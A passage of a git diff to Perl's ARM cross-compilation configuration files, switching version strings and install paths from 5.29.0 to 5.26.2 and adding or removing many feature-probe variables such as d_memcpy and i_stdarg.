d_open3='$d_open3' -d_openat='$d_openat' d_pathconf='$d_pathconf' d_pause='$d_pause' d_perl_otherlibdirs='$d_perl_otherlibdirs' d_phostname='$d_phostname' -d_pipe2='$d_pipe2' d_pipe='$d_pipe' d_poll='$d_poll' d_portable='$d_portable' @@ -24159,11 +24793,13 @@ d_regcomp='$d_regcomp' d_remainder='$d_remainder' d_remquo='$d_remquo' d_rename='$d_rename' -d_renameat='$d_renameat' d_rewinddir='$d_rewinddir' d_rint='$d_rint' d_rmdir='$d_rmdir' d_round='$d_round' +d_safebcpy='$d_safebcpy' +d_safemcpy='$d_safemcpy' +d_sanemcmp='$d_sanemcmp' d_sbrkproto='$d_sbrkproto' d_scalbn='$d_scalbn' d_scalbnl='$d_scalbnl' @@ -24239,6 +24875,7 @@ d_socket='$d_socket' d_socklen_t='$d_socklen_t' d_sockpair='$d_sockpair' d_socks5_init='$d_socks5_init' +d_sprintf_returns_strlen='$d_sprintf_returns_strlen' d_sqrtl='$d_sqrtl' d_srand48_r='$d_srand48_r' d_srandom_r='$d_srandom_r' @@ -24257,18 +24894,19 @@ d_stdio_ptr_lval_sets_cnt='$d_stdio_ptr_lval_sets_cnt' d_stdio_stream_array='$d_stdio_stream_array' d_stdiobase='$d_stdiobase' d_stdstdio='$d_stdstdio' +d_strchr='$d_strchr' d_strcoll='$d_strcoll' +d_strctcpy='$d_strctcpy' +d_strerrm='$d_strerrm' +d_strerror='$d_strerror' d_strerror_l='$d_strerror_l' d_strerror_r='$d_strerror_r' d_strftime='$d_strftime' d_strlcat='$d_strlcat' d_strlcpy='$d_strlcpy' -d_strnlen='$d_strnlen' d_strtod='$d_strtod' -d_strtod_l='$d_strtod_l' d_strtol='$d_strtol' d_strtold='$d_strtold' -d_strtold_l='$d_strtold_l' d_strtoll='$d_strtoll' d_strtoq='$d_strtoq' d_strtoul='$d_strtoul' @@ -24288,7 +24926,6 @@ d_tcsetpgrp='$d_tcsetpgrp' d_telldir='$d_telldir' d_telldirproto='$d_telldirproto' d_tgamma='$d_tgamma' -d_thread_safe_nl_langinfo_l='$d_thread_safe_nl_langinfo_l' d_time='$d_time' d_timegm='$d_timegm' d_times='$d_times' @@ -24305,7 +24942,6 @@ d_ualarm='$d_ualarm' d_umask='$d_umask' d_uname='$d_uname' d_union_semun='$d_union_semun' -d_unlinkat='$d_unlinkat' d_unordered='$d_unordered' d_unsetenv='$d_unsetenv' d_uselocale='$d_uselocale' @@ -24320,6 +24956,8 @@ d_vfork='$d_vfork' d_void_closedir='$d_void_closedir' d_voidsig='$d_voidsig' d_voidtty='$d_voidtty' +d_volatile='$d_volatile' +d_vprintf='$d_vprintf' d_vsnprintf='$d_vsnprintf' d_wait4='$d_wait4' d_waitpid='$d_waitpid' @@ -24434,6 +25072,7 @@ i64type='$i64type' i8size='$i8size' i8type='$i8type' i_arpainet='$i_arpainet' +i_assert='$i_assert' i_bfd='$i_bfd' i_bsdioctl='$i_bsdioctl' i_crypt='$i_crypt' @@ -24444,6 +25083,7 @@ i_dlfcn='$i_dlfcn' i_execinfo='$i_execinfo' i_fcntl='$i_fcntl' i_fenv='$i_fenv' +i_float='$i_float' i_fp='$i_fp' i_fp_class='$i_fp_class' i_gdbm='$i_gdbm' @@ -24454,10 +25094,13 @@ i_ieeefp='$i_ieeefp' i_inttypes='$i_inttypes' i_langinfo='$i_langinfo' i_libutil='$i_libutil' +i_limits='$i_limits' i_locale='$i_locale' i_machcthr='$i_machcthr' i_malloc='$i_malloc' i_mallocmalloc='$i_mallocmalloc' +i_math='$i_math' +i_memory='$i_memory' i_mntent='$i_mntent' i_ndbm='$i_ndbm' i_netdb='$i_netdb' @@ -24473,9 +25116,12 @@ i_rpcsvcdbm='$i_rpcsvcdbm' i_sgtty='$i_sgtty' i_shadow='$i_shadow' i_socks='$i_socks' +i_stdarg='$i_stdarg' i_stdbool='$i_stdbool' +i_stddef='$i_stddef' i_stdint='$i_stdint' i_stdlib='$i_stdlib' +i_string='$i_string' i_sunmath='$i_sunmath' i_sysaccess='$i_sysaccess' i_sysdir='$i_sysdir' @@ -24512,8 +25158,10 @@ i_time='$i_time' i_unistd='$i_unistd' i_ustat='$i_ustat' i_utime='$i_utime' +i_values='$i_values' +i_varargs='$i_varargs' +i_varhdr='$i_varhdr' i_vfork='$i_vfork' -i_wchar='$i_wchar' i_xlocale='$i_xlocale' ignore_versioned_solibs='$ignore_versioned_solibs' inc_version_list='$inc_version_list' @@ -24673,6 +25321,7 @@ prefixexp='$prefixexp' privlib='$privlib' privlibexp='$privlibexp' procselfexe='$procselfexe' +prototype='$prototype' ptrsize='$ptrsize' quadkind='$quadkind' quadtype='$quadtype' @@ -24783,6 +25432,7 @@ stdio_filbuf='$stdio_filbuf' stdio_ptr='$stdio_ptr' stdio_stream_array='$stdio_stream_array' strerror_r_proto='$strerror_r_proto' +strings='$strings' submit='$submit' subversion='$subversion' sysman='$sysman' @@ -24834,7 +25484,6 @@ usedtrace='$usedtrace' usefaststdio='$usefaststdio' useithreads='$useithreads' usekernprocpathname='$usekernprocpathname' -uselanginfo='$uselanginfo' uselargefiles='$uselargefiles' uselongdouble='$uselongdouble' usemallocwrap='$usemallocwrap' @@ -24864,6 +25513,7 @@ uvsize='$uvsize' uvtype='$uvtype' uvuformat='$uvuformat' uvxformat='$uvxformat' +vaproto='$vaproto' vendorarch='$vendorarch' vendorarchexp='$vendorarchexp' vendorbin='$vendorbin' diff --git a/Cross/Makefile-cross-SH b/Cross/Makefile-cross-SH index 85fc64afc2be..90f9f6f72bcf 100644 --- a/Cross/Makefile-cross-SH +++ b/Cross/Makefile-cross-SH @@ -856,6 +856,10 @@ CHMOD_W = chmod +w # with your existing copy of perl # (make regen_headers is kept for backwards compatibility) +AUTOGEN_FILES = opcode.h opnames.h pp_proto.h proto.h embed.h embedvar.h \ + perlapi.h perlapi.c regnodes.h warnings.h lib/warnings.pm \ + lib/feature.pm feature.h + .PHONY: regen_headers regen_all regen regen_headers: FORCE diff --git a/Cross/cflags-cross-arm b/Cross/cflags-cross-arm index 2fa2a45b8eec..3006394e4cc9 100644 --- a/Cross/cflags-cross-arm +++ b/Cross/cflags-cross-arm @@ -148,6 +148,7 @@ if test -f .patch; then ccflags="-DPERL_PATCHNUM=`cat .patch` $ccflags" fi + : Can we perhaps use $ansi2knr here echo "$CROSSCC -c -DUSE_CROSS_COMPILE -DPERL_CORE $ccflags $stdflags $optimize $warn $extra" eval "$also "'"$CROSSCC -DUSE_CROSS_COMPILE -DPERL_CORE -c $ccflags $stdflags $optimize $warn $extra"' diff --git a/Cross/config.sh-arm-linux b/Cross/config.sh-arm-linux index 6e76b52ee71d..d39833400f38 100644 --- a/Cross/config.sh-arm-linux +++ b/Cross/config.sh-arm-linux @@ -29,14 +29,15 @@ _o='.o' afs='false' afsroot='/afs' alignbytes='4' +ansi2knr='' aphostname='/bin/hostname' api_revision='5' api_subversion='0' -api_version='29' -api_versionstring='5.29.0' +api_version='26' +api_versionstring='5.26.0' ar='ar' -archlib='/usr/lib/perl5/5.29.0/armv4l-linux' -archlibexp='/usr/lib/perl5/5.29.0/armv4l-linux' +archlib='/usr/lib/perl5/5.26.2/armv4l-linux' +archlibexp='/usr/lib/perl5/5.26.2/armv4l-linux' archname64='' archname='armv4l-linux' archobjs='' @@ -55,7 +56,7 @@ castflags='0' cat='cat' cc='cc' cccdlflags='-fpic' -ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.29.0/armv4l-linux/CORE' +ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.26.2/armv4l-linux/CORE' ccflags='-fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64' ccflags_uselargefiles='-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64' ccname='arm-linux-gcc' @@ -103,7 +104,6 @@ d_PRIu64='define' d_PRIx64='define' d_SCNfldbl='define' d__fwalk='undef' -d_accept4='undef' d_access='define' d_accessx='undef' d_acosh='define' @@ -125,18 +125,19 @@ d_attribute_pure='undef' d_attribute_unused='undef' d_attribute_warn_unused_result='undef' d_backtrace='undef' +d_bcmp='define' +d_bcopy='define' d_bsd='undef' d_bsdgetpgrp='undef' d_bsdsetpgrp='undef' -d_builtin_add_overflow='undef' d_builtin_choose_expr='define' d_builtin_expect='define' -d_builtin_mul_overflow='undef' -d_builtin_sub_overflow='undef' +d_bzero='define' d_c99_variadic_macros='undef' d_casti32='define' d_castneg='define' d_cbrt='undef' +d_charvspr='undef' d_chown='define' d_chroot='define' d_chsize='undef' @@ -179,8 +180,6 @@ d_double_style_vax='undef' d_drand48_r='undef' d_drand48proto='define' d_dup2='define' -d_dup3='undef' -d_duplocale='undef' d_eaccess='undef' d_endgrent='define' d_endgrent_r='undef' @@ -203,7 +202,6 @@ d_expm1='undef' d_faststdio='define' d_fchdir='define' d_fchmod='define' -d_fchmodat='undef' d_fchown='define' d_fcntl='define' d_fcntl_can_lock='define' @@ -344,12 +342,10 @@ d_lgamma='undef' d_lgamma_r='undef' d_libm_lib_version='define' d_link='define' -d_linkat='undef' d_llrint='undef' d_llrintl='undef' d_llround='undef' d_llroundl='undef' -d_localeconv_l='undef' d_localtime64='undef' d_localtime_r='undef' d_localtime_r_needs_tzset='undef' @@ -375,16 +371,17 @@ d_madvise='define' d_malloc_good_size='undef' d_malloc_size='undef' d_mblen='define' -d_mbrlen='undef' -d_mbrtowc='undef' d_mbstowcs='define' d_mbtowc='define' +d_memchr='define' +d_memcmp='define' +d_memcpy='define' d_memmem='undef' -d_memrchr='undef' +d_memmove='define' +d_memset='define' d_mkdir='define' d_mkdtemp='define' d_mkfifo='define' -d_mkostemp='undef' d_mkstemp='define' d_mkstemps='undef' d_mktime64='undef' @@ -409,7 +406,6 @@ d_msync='define' d_munmap='define' d_mymalloc='undef' d_nan='undef' -d_nanosleep='undef' d_ndbm_h_uses_prototypes='undef' d_nearbyint='undef' d_newlocale='undef' @@ -424,12 +420,10 @@ d_old_pthread_create_joinable='undef' d_oldpthreads='undef' d_oldsock='undef' d_open3='define' -d_openat='undef' d_pathconf='define' d_pause='define' d_perl_otherlibdirs='undef' d_phostname='undef' -d_pipe2='undef' d_pipe='define' d_poll='define' d_portable='define' @@ -464,11 +458,13 @@ d_regcomp='undef' d_remainder='undef' d_remquo='undef' d_rename='define' -d_renameat='undef' d_rewinddir='define' d_rint='undef' d_rmdir='define' d_round='undef' +d_safebcpy='undef' +d_safemcpy='undef' +d_sanemcmp='define' d_sbrkproto='define' d_scalbn='undef' d_scalbnl='define' @@ -543,6 +539,7 @@ d_socket='define' d_socklen_t='define' d_sockpair='define' d_socks5_init='undef' +d_sprintf_returns_strlen='define' d_sqrtl='define' d_srand48_r='undef' d_srandom_r='undef' @@ -561,18 +558,19 @@ d_stdio_ptr_lval_sets_cnt='define' d_stdio_stream_array='undef' d_stdiobase='define' d_stdstdio='define' +d_strchr='define' d_strcoll='define' +d_strctcpy='define' +d_strerrm='strerror(e)' +d_strerror='define' d_strerror_l='undef' d_strerror_r='undef' d_strftime='define' d_strlcat='undef' d_strlcpy='undef' -d_strnlen='undef' d_strtod='define' -d_strtod_l='undef' d_strtol='define' d_strtold='define' -d_strtold_l='undef' d_strtoll='define' d_strtoq='define' d_strtoul='define' @@ -592,7 +590,6 @@ d_tcsetpgrp='define' d_telldir='define' d_telldirproto='define' d_tgamma='undef' -d_thread_safe_nl_langinfo_l='undef' d_time='define' d_timegm='define' d_times='define' @@ -609,7 +606,6 @@ d_ualarm='define' d_umask='define' d_uname='define' d_union_semun='undef' -d_unlinkat='undef' d_unordered='undef' d_unsetenv='define' d_uselocale='undef' @@ -624,6 +620,8 @@ d_vfork='undef' d_void_closedir='undef' d_voidsig='define' d_voidtty='' +d_volatile='define' +d_vprintf='define' d_vsnprintf='define' d_wait4='define' d_waitpid='define' @@ -732,6 +730,7 @@ i64type='long long' i8size='1' i8type='char' i_arpainet='define' +i_assert='define' i_bfd='undef' i_bsdioctl='' i_crypt='define' @@ -742,6 +741,7 @@ i_dlfcn='define' i_execinfo='undef' i_fcntl='undef' i_fenv='define' +i_float='define' i_fp='undef' i_fp_class='undef' i_gdbm='undef' @@ -752,10 +752,13 @@ i_ieeefp='undef' i_inttypes='define' i_langinfo='define' i_libutil='undef' +i_limits='define' i_locale='define' i_machcthr='undef' i_malloc='define' i_mallocmalloc='undef' +i_math='define' +i_memory='undef' i_mntent='define' i_ndbm='undef' i_netdb='define' @@ -771,9 +774,12 @@ i_rpcsvcdbm='undef' i_sgtty='undef' i_shadow='define' i_socks='undef' +i_stdarg='define' i_stdbool='undef' +i_stddef='define' i_stdint='define' i_stdlib='define' +i_string='define' i_sunmath='undef' i_sysaccess='undef' i_sysdir='define' @@ -810,15 +816,17 @@ i_time='define' i_unistd='define' i_ustat='define' i_utime='define' +i_values='define' +i_varargs='undef' +i_varhdr='stdarg.h' i_vfork='undef' -i_wchar='undef' i_xlocale='undef' ignore_versioned_solibs='y' inc_version_list=' ' inc_version_list_init='0' incpath='' inews='' -installarchlib='./install_me_here/usr/lib/perl5/5.29.0/armv4l-linux' +installarchlib='./install_me_here/usr/lib/perl5/5.26.2/armv4l-linux' installbin='./install_me_here/usr/bin' installhtml1dir='' installhtml3dir='' @@ -826,13 +834,13 @@ installman1dir='./install_me_here/usr/share/man/man1' installman3dir='./install_me_here/usr/share/man/man3' installprefix='./install_me_here/usr' installprefixexp='./install_me_here/usr' -installprivlib='./install_me_here/usr/lib/perl5/5.29.0' +installprivlib='./install_me_here/usr/lib/perl5/5.26.2' installscript='./install_me_here/usr/bin' -installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.29.0/armv4l-linux' +installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.26.2/armv4l-linux' installsitebin='./install_me_here/usr/bin' installsitehtml1dir='' installsitehtml3dir='' -installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.29.0' +installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.26.2' installsiteman1dir='./install_me_here/usr/share/man/man1' installsiteman3dir='./install_me_here/usr/share/man/man3' installsitescript='./install_me_here/usr/bin' @@ -966,8 +974,8 @@ pmake='' pr='' prefix='/usr' prefixexp='/usr' -privlib='/usr/lib/perl5/5.29.0' -privlibexp='/usr/lib/perl5/5.29.0' +privlib='/usr/lib/perl5/5.26.2' +privlibexp='/usr/lib/perl5/5.26.2' procselfexe='"/proc/self/exe"' prototype='define' ptrsize='4' @@ -1032,17 +1040,17 @@ sig_num='0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 6, 17, 29, 31, 0' sig_size='68' signal_t='void' -sitearch='/usr/lib/perl5/site_perl/5.29.0/armv4l-linux' -sitearchexp='/usr/lib/perl5/site_perl/5.29.0/armv4l-linux' +sitearch='/usr/lib/perl5/site_perl/5.26.2/armv4l-linux' +sitearchexp='/usr/lib/perl5/site_perl/5.26.2/armv4l-linux' sitebin='/usr/bin' sitebinexp='/usr/bin' sitehtml1dir='' sitehtml1direxp='' sitehtml3dir='' sitehtml3direxp='' -sitelib='/usr/lib/perl5/site_perl/5.29.0' +sitelib='/usr/lib/perl5/site_perl/5.26.2' sitelib_stem='/usr/lib/perl5/site_perl' -sitelibexp='/usr/lib/perl5/site_perl/5.29.0' +sitelibexp='/usr/lib/perl5/site_perl/5.26.2' siteman1dir='/usr/share/man/man1' siteman1direxp='/usr/share/man/man1' siteman3dir='/usr/share/man/man3' @@ -1081,7 +1089,7 @@ stdio_stream_array='' strerror_r_proto='0' strings='/usr/include/string.h' submit='' -subversion='0' +subversion='2' sysman='/usr/share/man/man1' tail='' tar='' @@ -1153,6 +1161,7 @@ uvsize='4' uvtype='unsigned long' uvuformat='"lu"' uvxformat='"lx"' +vaproto='undef' vendorarch='' vendorarchexp='' vendorbin='' @@ -1172,8 +1181,8 @@ vendorprefix='' vendorprefixexp='' vendorscript='' vendorscriptexp='' -version='5.29.0' -version_patchlevel_string='version 29 subversion 0' +version='5.26.2' +version_patchlevel_string='version 26 subversion 2' versiononly='undef' vi='' xlibpth='/usr/lib/386 /lib/386' @@ -1186,10 +1195,10 @@ config_arg0='Configure' config_args='' config_argc=0 PERL_REVISION=5 -PERL_VERSION=29 -PERL_SUBVERSION=0 +PERL_VERSION=26 +PERL_SUBVERSION=2 PERL_API_REVISION=5 -PERL_API_VERSION=29 +PERL_API_VERSION=26 PERL_API_SUBVERSION=0 PERL_PATCHLEVEL= PERL_CONFIG_SH=true diff --git a/Cross/config.sh-arm-linux-n770 b/Cross/config.sh-arm-linux-n770 index 53bf663cf42f..bc59811b2641 100644 --- a/Cross/config.sh-arm-linux-n770 +++ b/Cross/config.sh-arm-linux-n770 @@ -29,14 +29,15 @@ _o='.armo' afs='false' afsroot='/afs' alignbytes='4' +ansi2knr='' aphostname='/bin/hostname' api_revision='5' api_subversion='0' -api_version='29' -api_versionstring='5.29.0' +api_version='26' +api_versionstring='5.26.0' ar='ar' -archlib='/usr/lib/perl5/5.29.0/armv4l-linux' -archlibexp='/usr/lib/perl5/5.29.0/armv4l-linux' +archlib='/usr/lib/perl5/5.26.2/armv4l-linux' +archlibexp='/usr/lib/perl5/5.26.2/armv4l-linux' archname64='' archname='armv4l-linux' archobjs='' @@ -54,7 +55,7 @@ castflags='0' cat='cat' cc='arm-none-linux-gnueabi-gcc' cccdlflags='-fpic' -ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.29.0/armv4l-linux/CORE' +ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.26.2/armv4l-linux/CORE' ccflags='-fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64' ccflags_uselargefiles='-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64' ccname='arm-linux-gcc' @@ -63,7 +64,6 @@ ccversion='' cf_by='red' cf_email='red@criticalintegration.com' cf_time='Wed Sep 3 22:24:58 EDT 2003' -charbits='8' chgrp='' chmod='chmod' chown='' @@ -102,20 +102,14 @@ d_PRIu64='define' d_PRIx64='define' d_SCNfldbl='define' d__fwalk='undef' -d_accept4='undef' d_access='define' d_accessx='undef' -d_acosh='define' d_aintl='undef' d_alarm='define' d_archlib='define' -d_asctime64='undef' d_asctime_r='undef' -d_asinh='undef' -d_atanh='undef' d_atolf='undef' d_atoll='define' -d_attribute_deprecated='undef' d_attribute_format='undef' d_attribute_malloc='undef' d_attribute_nonnull='undef' @@ -123,19 +117,18 @@ d_attribute_noreturn='undef' d_attribute_pure='undef' d_attribute_unused='undef' d_attribute_warn_unused_result='undef' -d_backtrace='undef' +d_bcmp='define' +d_bcopy='define' d_bsd='undef' d_bsdgetpgrp='undef' d_bsdsetpgrp='undef' -d_builtin_add_overflow='undef' d_builtin_choose_expr='define' d_builtin_expect='define' -d_builtin_mul_overflow='undef' -d_builtin_sub_overflow='undef' +d_bzero='define' d_c99_variadic_macros='undef' d_casti32='define' d_castneg='define' -d_cbrt='undef' +d_charvspr='undef' d_chown='define' d_chroot='define' d_chsize='undef' @@ -144,7 +137,6 @@ d_clearenv='define' d_closedir='define' d_cmsghdr_s='define' d_const='define' -d_copysign='undef' d_copysignl='define' d_cplusplus='undef' d_crypt='define' @@ -152,34 +144,21 @@ d_crypt_r='undef' d_csh='define' d_ctermid='undef' d_ctermid_r='undef' -d_ctime64='undef' d_ctime_r='undef' d_cuserid='define' d_dbl_dig='define' d_dbminitproto='undef' -d_difftime64='undef' d_difftime='define' d_dir_dd_fd='undef' d_dirfd='define' d_dirnamlen='undef' -d_dladdr='undef' d_dlerror='define' d_dlopen='define' d_dlsymun='undef' d_dosuid='undef' -d_double_has_inf='define' -d_double_has_nan='define' -d_double_has_negative_zero='define' -d_double_has_subnormals='define' -d_double_style_cray='undef' -d_double_style_ibm='undef' -d_double_style_ieee='define' -d_double_style_vax='undef' d_drand48_r='undef' d_drand48proto='define' d_dup2='define' -d_dup3='undef' -d_duplocale='undef' d_eaccess='undef' d_endgrent='define' d_endgrent_r='undef' @@ -194,44 +173,29 @@ d_endpwent_r='undef' d_endsent='define' d_endservent_r='undef' d_eofnblk='define' -d_erf='undef' -d_erfc='undef' d_eunice='undef' -d_exp2='undef' -d_expm1='undef' d_faststdio='define' d_fchdir='define' d_fchmod='define' -d_fchmodat='undef' d_fchown='define' d_fcntl='define' d_fcntl_can_lock='define' d_fd_macros='define' d_fd_set='define' -d_fdclose='undef' -d_fdim='undef' d_fds_bits='undef' -d_fegetround='define' d_fgetpos='define' d_finite='define' d_finitel='define' d_flexfnam='define' d_flock='define' d_flockproto='define' -d_fma='undef' -d_fmax='undef' -d_fmin='undef' d_fork='define' d_fp_class='undef' -d_fp_classify='undef' -d_fp_classl='undef' d_fpathconf='define' d_fpclass='undef' d_fpclassify='undef' d_fpclassl='undef' -d_fpgetround='undef' d_fpos64_t='undef' -d_freelocale='undef' d_frexpl='define' d_fs_data_s='undef' d_fseeko='define' @@ -242,10 +206,6 @@ d_fsync='define' d_ftello='define' d_ftime='undef' d_futimes='undef' -d_gai_strerror='undef' -d_gdbm_ndbm_h_uses_prototypes='undef' -d_gdbmndbm_h_uses_prototypes='undef' -d_getaddrinfo='undef' d_getcwd='define' d_getespwnam='undef' d_getfsstat='undef' @@ -267,7 +227,6 @@ d_getlogin='define' d_getlogin_r='undef' d_getmnt='undef' d_getmntent='define' -d_getnameinfo='undef' d_getnbyaddr='define' d_getnbyname='define' d_getnent='define' @@ -303,90 +262,50 @@ d_getservprotos='define' d_getspnam='define' d_getspnam_r='undef' d_gettimeod='define' -d_gmtime64='undef' d_gmtime_r='undef' d_gnulibc='define' d_grpasswd='define' d_hasmntopt='define' d_htonl='define' -d_hypot='undef' -d_ilogb='undef' d_ilogbl='define' d_inc_version_list='define' d_index='undef' d_inetaton='define' -d_inetntop='undef' -d_inetpton='undef' d_int64_t='define' -d_ip_mreq='undef' -d_ip_mreq_source='undef' -d_ipv6_mreq='undef' -d_ipv6_mreq_source='undef' d_isascii='define' -d_isblank='undef' d_isfinite='undef' -d_isfinitel='undef' d_isinf='define' -d_isinfl='define' -d_isless='undef' d_isnan='define' d_isnanl='define' -d_isnormal='undef' -d_j0='define' -d_j0l='define' d_killpg='define' -d_lc_monetary_2008='undef' d_lchown='define' d_ldbl_dig='define' -d_ldexpl='define' -d_lgamma='undef' -d_lgamma_r='undef' d_libm_lib_version='define' d_link='define' -d_linkat='undef' -d_llrint='undef' -d_llrintl='undef' -d_llround='undef' -d_llroundl='undef' -d_localeconv_l='undef' -d_localtime64='undef' d_localtime_r='undef' d_localtime_r_needs_tzset='undef' d_locconv='define' d_lockf='define' -d_log1p='undef' -d_log2='undef' -d_logb='undef' -d_long_double_style_ieee='undef' -d_long_double_style_ieee_doubledouble='undef' -d_long_double_style_ieee_extended='undef' -d_long_double_style_ieee_std='undef' -d_long_double_style_vax='undef' d_longdbl='define' d_longlong='define' -d_lrint='undef' -d_lrintl='undef' -d_lround='undef' -d_lroundl='undef' d_lseekproto='define' d_lstat='define' d_madvise='define' d_malloc_good_size='undef' d_malloc_size='undef' d_mblen='define' -d_mbrlen='undef' -d_mbrtowc='undef' d_mbstowcs='define' d_mbtowc='define' -d_memmem='undef' -d_memrchr='undef' +d_memchr='define' +d_memcmp='define' +d_memcpy='define' +d_memmove='define' +d_memset='define' d_mkdir='define' d_mkdtemp='define' d_mkfifo='define' -d_mkostemp='undef' d_mkstemp='define' d_mkstemps='undef' -d_mktime64='undef' d_mktime='define' d_mmap='define' d_modfl='define' @@ -407,13 +326,6 @@ d_msgsnd='define' d_msync='define' d_munmap='define' d_mymalloc='undef' -d_nan='undef' -d_nanosleep='undef' -d_ndbm_h_uses_prototypes='undef' -d_nearbyint='undef' -d_newlocale='undef' -d_nextafter='undef' -d_nexttoward='undef' d_nice='define' d_nl_langinfo='define' d_nv_preserves_uv='define' @@ -423,24 +335,19 @@ d_old_pthread_create_joinable='undef' d_oldpthreads='undef' d_oldsock='undef' d_open3='define' -d_openat='undef' d_pathconf='define' d_pause='define' d_perl_otherlibdirs='undef' d_phostname='undef' -d_pipe2='undef' d_pipe='define' d_poll='define' d_portable='define' -d_prctl='define' -d_prctl_set_name='define' d_printf_format_null='undef' d_procselfexe='define' d_pseudofork='undef' d_pthread_atfork='undef' d_pthread_attr_setscope='define' d_pthread_yield='undef' -d_ptrdiff_t='define' d_pwage='undef' d_pwchange='undef' d_pwclass='undef' @@ -451,7 +358,6 @@ d_pwpasswd='define' d_pwquota='undef' d_qgcvt='define' d_quad='define' -d_querylocale='undef' d_random_r='undef' d_readdir64_r='undef' d_readdir='define' @@ -459,17 +365,13 @@ d_readdir_r='undef' d_readlink='define' d_readv='define' d_recvmsg='define' -d_regcomp='undef' -d_remainder='undef' -d_remquo='undef' d_rename='define' -d_renameat='undef' d_rewinddir='define' -d_rint='undef' d_rmdir='define' -d_round='undef' +d_safebcpy='undef' +d_safemcpy='undef' +d_sanemcmp='define' d_sbrkproto='define' -d_scalbn='undef' d_scalbnl='define' d_sched_yield='define' d_scm_rights='define' @@ -521,37 +423,26 @@ d_shmctl='define' d_shmdt='define' d_shmget='define' d_sigaction='define' -d_siginfo_si_addr='undef' -d_siginfo_si_band='undef' -d_siginfo_si_errno='undef' -d_siginfo_si_pid='undef' -d_siginfo_si_status='undef' -d_siginfo_si_uid='undef' -d_siginfo_si_value='undef' d_signbit='define' d_sigprocmask='define' d_sigsetjmp='define' -d_sin6_scope_id='undef' d_sitearch='define' d_snprintf='undef' -d_sockaddr_in6='undef' -d_sockaddr_sa_len='undef' d_sockatmark='undef' d_sockatmarkproto='undef' d_socket='define' d_socklen_t='define' d_sockpair='define' d_socks5_init='undef' +d_sprintf_returns_strlen='define' d_sqrtl='define' d_srand48_r='undef' d_srandom_r='undef' d_sresgproto='undef' d_sresuproto='undef' -d_stat='define' d_statblks='define' d_statfs_f_flags='undef' d_statfs_s='define' -d_static_inline='undef' d_statvfs='define' d_stdio_cnt_lval='undef' d_stdio_ptr_lval='define' @@ -560,18 +451,18 @@ d_stdio_ptr_lval_sets_cnt='define' d_stdio_stream_array='undef' d_stdiobase='define' d_stdstdio='define' +d_strchr='define' d_strcoll='define' -d_strerror_l='undef' +d_strctcpy='define' +d_strerrm='strerror(e)' +d_strerror='define' d_strerror_r='undef' d_strftime='define' d_strlcat='undef' d_strlcpy='undef' -d_strnlen='undef' d_strtod='define' -d_strtod_l='undef' d_strtol='define' d_strtold='define' -d_strtold_l='undef' d_strtoll='define' d_strtoq='define' d_strtoul='define' @@ -590,17 +481,13 @@ d_tcgetpgrp='define' d_tcsetpgrp='define' d_telldir='define' d_telldirproto='define' -d_tgamma='undef' -d_thread_safe_nl_langinfo_l='undef' d_time='define' d_timegm='define' d_times='define' d_tm_tm_gmtoff='define' d_tm_tm_zone='define' d_tmpnam_r='undef' -d_trunc='undef' d_truncate='define' -d_truncl='define' d_ttyname_r='undef' d_tzname='define' d_u32align='undef' @@ -608,10 +495,8 @@ d_ualarm='define' d_umask='define' d_uname='define' d_union_semun='undef' -d_unlinkat='undef' d_unordered='undef' d_unsetenv='define' -d_uselocale='undef' d_usleep='define' d_usleepproto='define' d_ustat='define' @@ -623,12 +508,12 @@ d_vfork='undef' d_void_closedir='undef' d_voidsig='define' d_voidtty='' +d_volatile='define' +d_vprintf='define' d_vsnprintf='define' d_wait4='define' d_waitpid='define' -d_wcscmp='undef' d_wcstombs='define' -d_wcsxfrm='undef' d_wctomb='define' d_writev='define' d_xenix='undef' @@ -638,14 +523,9 @@ db_prefixtype='size_t' db_version_major='' db_version_minor='' db_version_patch='' -default_inc_excludes_dot='undef' direntrytype='struct dirent' dlext='so' dlsrc='dl_dlopen.xs' -doubleinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f' -doublekind='3' -doublemantbits='52' -doublenanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f' doublesize='8' drand01='Perl_drand48()' drand48_r_proto='0' @@ -730,16 +610,15 @@ i64type='long long' i8size='1' i8type='char' i_arpainet='define' -i_bfd='undef' +i_assert='define' i_bsdioctl='' i_crypt='define' i_db='undef' i_dbm='undef' i_dirent='define' i_dlfcn='define' -i_execinfo='undef' i_fcntl='undef' -i_fenv='define' +i_float='define' i_fp='undef' i_fp_class='undef' i_gdbm='undef' @@ -750,10 +629,13 @@ i_ieeefp='undef' i_inttypes='define' i_langinfo='define' i_libutil='undef' +i_limits='define' i_locale='define' i_machcthr='undef' i_malloc='define' i_mallocmalloc='undef' +i_math='define' +i_memory='undef' i_mntent='define' i_ndbm='undef' i_netdb='define' @@ -764,14 +646,14 @@ i_poll='define' i_prot='undef' i_pthread='define' i_pwd='define' -i_quadmath='undef' i_rpcsvcdbm='undef' i_sgtty='undef' i_shadow='define' i_socks='undef' -i_stdbool='undef' -i_stdint='define' +i_stdarg='define' +i_stddef='define' i_stdlib='define' +i_string='define' i_sunmath='undef' i_sysaccess='undef' i_sysdir='define' @@ -784,8 +666,8 @@ i_sysmman='define' i_sysmode='undef' i_sysmount='define' i_sysndir='undef' +i_syspoll='define' i_sysparam='define' -i_syspoll='undef' i_sysresrc='define' i_syssecrt='undef' i_sysselct='define' @@ -808,15 +690,16 